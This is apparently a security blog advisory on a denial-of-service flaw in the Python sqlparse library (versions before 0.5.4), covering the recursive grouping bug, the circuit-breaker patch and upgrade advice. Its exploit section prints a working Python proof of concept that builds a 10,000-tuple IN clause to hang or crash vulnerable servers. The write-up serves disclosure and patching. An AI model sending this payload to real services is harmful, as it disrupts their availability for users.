Death by Parentheses: The sqlparse Recursive DoS
Feb 13, 2026·6 min read·5 visits
Executive Summary (TL;DR)
The `sqlparse` library prior to version 0.5.4 contains a recursive looping flaw. Attackers can trigger a Denial of Service by sending SQL queries with massive lists of tuples (e.g., in `IN` clauses), causing the parser to hit recursion limits or hang the CPU. Patch by upgrading to 0.5.4, which introduces circuit breakers.
A high-impact Denial of Service vulnerability in the ubiquitous `sqlparse` Python library allows attackers to exhaust server CPU and memory via deeply nested SQL statements. By exploiting unchecked recursion in the grouping engine, a crafted payload containing massive lists of tuples can crash applications using this library for logging, formatting, or analysis.
The Hook: Your Prettifier is a Time Bomb
If you write Python and touch databases, you are likely using sqlparse. It is the silent workhorse behind the scenes of Django Debug Toolbar, pgcli, dbt, and countless internal admin panels. Its job is simple: take a messy, generated SQL string and make it human-readable. It parses SQL purely in Python, relying on a complex dance of regular expressions and recursive logic to identify statements, keywords, and identifiers.
But here is the catch: parsing SQL without a formal grammar or a C-extension is like building a skyscraper out of playing cards. It works beautifully until the wind blows the wrong way. In this case, the 'wind' is a specific type of SQL structure—lists of tuples—that sends the library's grouping engine into a death spiral.
This isn't just a bug for database administrators. If your web application logs formatted SQL queries for debugging, or if you expose a 'prettify' feature in a SaaS dashboard, you are vulnerable. You aren't just formatting text; you are essentially running a denial-of-service endpoint for anyone who can construct a valid, albeit massive, SQL query.
The Flaw: Recursive Madness
The vulnerability lives in sqlparse.engine.grouping. To format SQL, the library attempts to group tokens into logical units—parentheses become Parenthesis objects, identifiers become Identifier objects, and so on. This is handled by functions like _group_matching and _group. These functions are recursive by design. When the parser encounters an opening parenthesis (, it dives down a level to find the matching closing parenthesis ).
Now, consider a query like this: SELECT * FROM table WHERE (a, b) IN ((1, 2), (3, 4), ... ).
For every tuple (1, 2), the parser sees a new group. In older versions of sqlparse, there were no guardrails on how deep this rabbit hole could go. When an attacker supplies a query with 10,000 nested or sequential tuples, the parser doesn't just iterate; it recurses or re-evaluates the token stream with quadratic complexity. The engine frantically tries to resolve the nesting, consuming stack frames until Python screams RecursionError or the CPU spins at 100% for an eternity.
The Code: Adding the Brakes
The fix, landed in version 0.5.4, is an admission that the algorithm itself cannot handle infinite complexity. The maintainers introduced "circuit breakers"—hard limits on recursion depth and token counts.
Let's look at the vulnerable logic versus the patched logic in sqlparse/engine/grouping.py. The patch introduces MAX_GROUPING_DEPTH (default 100) and MAX_GROUPING_TOKENS (default 10000).
The Fix (Commit 40ed3aa):
# Inside _group_matching
def _group_matching(tlist, cls, depth=0):
# THE FIX: Circuit breakers added here
if MAX_GROUPING_DEPTH is not None and depth > MAX_GROUPING_DEPTH:
return # Abort if we are too deep
if MAX_GROUPING_TOKENS is not None and len(tlist.tokens) > MAX_GROUPING_TOKENS:
return # Abort if the list is too massive
# ... existing grouping logic ...
_group_matching(token, cls, depth + 1)Before this patch, _group_matching would happily increment depth until the interpreter crashed. Now, it simply gives up. It's a pragmatic fix: it preserves the application's stability at the cost of failing to format a ridiculously complex query perfectly.
The Exploit: Crashing the Worker
Exploiting this is trivially easy and requires no authentication if the input vector is open (like a public API that logs queries). We don't need binary shellcode; we just need a lot of text.
Here is a Python Proof-of-Concept that generates a payload guaranteed to trigger the issue on vulnerable versions:
import sqlparse
import time
# 1. Craft the malicious payload
# We create a list of 10,000 tuples.
# This looks like: ((1,2), (1,2), ... )
payload_tuples = ['(1, 2)'] * 10000
malicious_sql = 'SELECT * FROM t WHERE (a, b) IN (' + ', '.join(payload_tuples) + ')'
print(f"Payload size: {len(malicious_sql)} bytes")
# 2. Trigger the DoS
print("Attempting to format... (Prepare for hang/crash)")
start = time.time()
try:
# This function call will hang or raise RecursionError in < 0.5.4
sqlparse.format(malicious_sql, reindent=True)
except RecursionError:
print("SUCCESS: RecursionError triggered!")
except Exception as e:
print(f"Caught exception: {e}")
print(f"Time taken: {time.time() - start:.2f}s")Running this on version 0.4.4 will likely result in an immediate RecursionError or a multi-second hang depending on the exact structure. In a web server context (e.g., gunicorn with sync workers), a single request like this knocks out a worker process. Send 10 concurrent requests, and the server is dead.
The Impact: Why This Matters
You might think, "Who lets users format arbitrary SQL?" You'd be surprised. Many developer tools, database GUIs, and logging middlewares automatically pass SQL traffic through sqlparse to make logs readable.
Imagine a scenario where you have an API endpoint that takes a list of IDs. An attacker sends a request with 10,000 IDs. Your backend generates a valid SQL query: SELECT ... WHERE id IN (...). Then, your logging middleware kicks in: "Oh, let me pretty-print this query for the debug log!"
Boom. The logging thread hangs. The request times out. The attacker didn't need to inject SQL into the database; they just needed to inject enough complexity to choke the formatter. This is a classic asymmetric attack: cheap for the attacker to generate, expensive for the defender to process.
Mitigation: Upgrade or Die
The mitigation is straightforward: Upgrade to sqlparse 0.5.4 immediately. This version includes the default limits that prevent the recursion depth from exploding.
If you are stuck on an older version for some god-forsaken reason (dependency hell is real), you are out of luck unless you monkey-patch the library manually. There are no configuration flags in older versions to stop this behavior.
For those already on 0.5.4, if you find that legitimate, massive queries are not being formatted correctly (i.e., the limits are too aggressive), you can tune them:
import sqlparse.engine.grouping
# Only increase if you trust the input source!
sqlparse.engine.grouping.MAX_GROUPING_DEPTH = 200However, increasing these limits just re-opens the door you just shut. Keep them low. Nobody needs to pretty-print a SQL query with 10,000 tuples.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
sqlparse Andi Albrecht | < 0.5.4 | 0.5.4 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Denial of Service (DoS) |
| CWE ID | CWE-400 / CWE-674 |
| CVSS (Estimated) | 6.5 (Medium) |
| Attack Vector | Network (via crafted SQL input) |
| Affected Component | sqlparse.engine.grouping |
| Exploit Status | PoC Available |